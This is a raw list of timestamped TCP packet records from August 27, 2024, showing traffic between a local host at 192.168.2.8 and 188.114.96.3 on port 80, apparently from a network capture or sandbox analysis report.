Aug 27, 2024 09:49:37.919493914 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.919517040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.919548988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919562101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919615984 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.919693947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919707060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919717073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919754982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919768095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919775963 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.919780016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919790983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919802904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919806004 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.919821024 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.919841051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.919991016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920049906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920063019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920093060 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.920180082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920191050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920202017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920216084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920227051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.920238972 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.920253038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920264959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920281887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920294046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920305014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920308113 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.920330048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.920341015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920344114 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.920352936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920387983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.920442104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920453072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920526981 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.920589924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920600891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920643091 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.920727015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920737982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920747995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920762062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920773983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920773983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.920850039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.920861006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920871973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920902967 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.920917988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920929909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920942068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920953989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.920958996 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.920983076 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.961122990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.011542082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012306929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012317896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012334108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012346029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012351990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.012357950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012368917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012377024 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.012381077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012392044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012403011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.012439013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012449980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012460947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012471914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012474060 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.012490034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012499094 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.012522936 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.012538910 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.012579918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012590885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012603045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012620926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012624979 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.012631893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012648106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012659073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012666941 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.012670040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012682915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012686968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.012695074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012706995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.012713909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.012732983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.013133049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013144970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013154984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013166904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013185978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013226032 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.013264894 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.013324022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013335943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013345957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013356924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013370037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013381004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013392925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013405085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013416052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013427973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013438940 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.013438940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013467073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013472080 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.013478041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013488054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013499975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013509989 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.013511896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013523102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013534069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013534069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.013547897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.013618946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013634920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013652086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013653040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.013663054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013674021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013685942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013688087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.013695955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013704062 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.013706923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013717890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013720036 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.013729095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013741016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.013758898 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.013782978 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014072895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014084101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014092922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014103889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014115095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014163017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014187098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014224052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014235020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014245033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014257908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014266014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014314890 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014409065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014420033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014430046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014441967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014452934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014457941 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014465094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014476061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014486074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014487982 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014498949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014509916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014528036 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014655113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014666080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014676094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014709949 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014734030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014822006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014844894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014856100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014867067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014878035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014887094 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014889002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014899015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014909983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014911890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014923096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014925957 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014933109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014945030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014950037 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014955997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014966011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014975071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.014976978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014987946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.014997959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.015010118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.015022993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.015044928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.015372038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.015391111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.015403986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.015415907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.015423059 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.015425920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.015436888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.015450954 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.015454054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.015465975 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.015466928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.015477896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.015489101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.015501022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.015512943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.015525103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.015526056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.015561104 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.015561104 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.097871065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.097887039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.097898006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.097950935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.097963095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.097970009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.097984076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.098058939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.098131895 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.098176956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.098540068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.098551035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.098562002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.098638058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.098639011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.098649979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.098659992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.098673105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.098807096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.098819017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.098828077 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.098829031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.098843098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.098866940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.098867893 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.098879099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.098881960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.098896027 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099044085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099055052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099061012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099066973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099071980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099082947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099095106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099104881 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099109888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099172115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099251986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099263906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099275112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099288940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099312067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099348068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099359989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099370003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099379063 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099380970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099394083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099406004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099406004 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099442959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099479914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099492073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099528074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099536896 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099539995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099550009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099561930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099574089 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099581957 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099643946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099656105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099684000 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099759102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099770069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099781036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099792004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099805117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099806070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099814892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099853992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099900007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099905014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099921942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099934101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099944115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099945068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099955082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099967003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099976063 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.099977970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099989891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.099996090 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.100012064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.100060940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100101948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.100140095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100152969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100162983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100176096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100186110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.100194931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100208998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100219011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.100222111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100233078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100256920 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.100265980 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.100307941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100378990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100392103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100445032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100447893 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.100455999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100466967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100478888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100495100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100506067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100522995 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.100548983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.100641966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100653887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100667953 CEST	80	49715	188.114.96.3	192.168.2.8
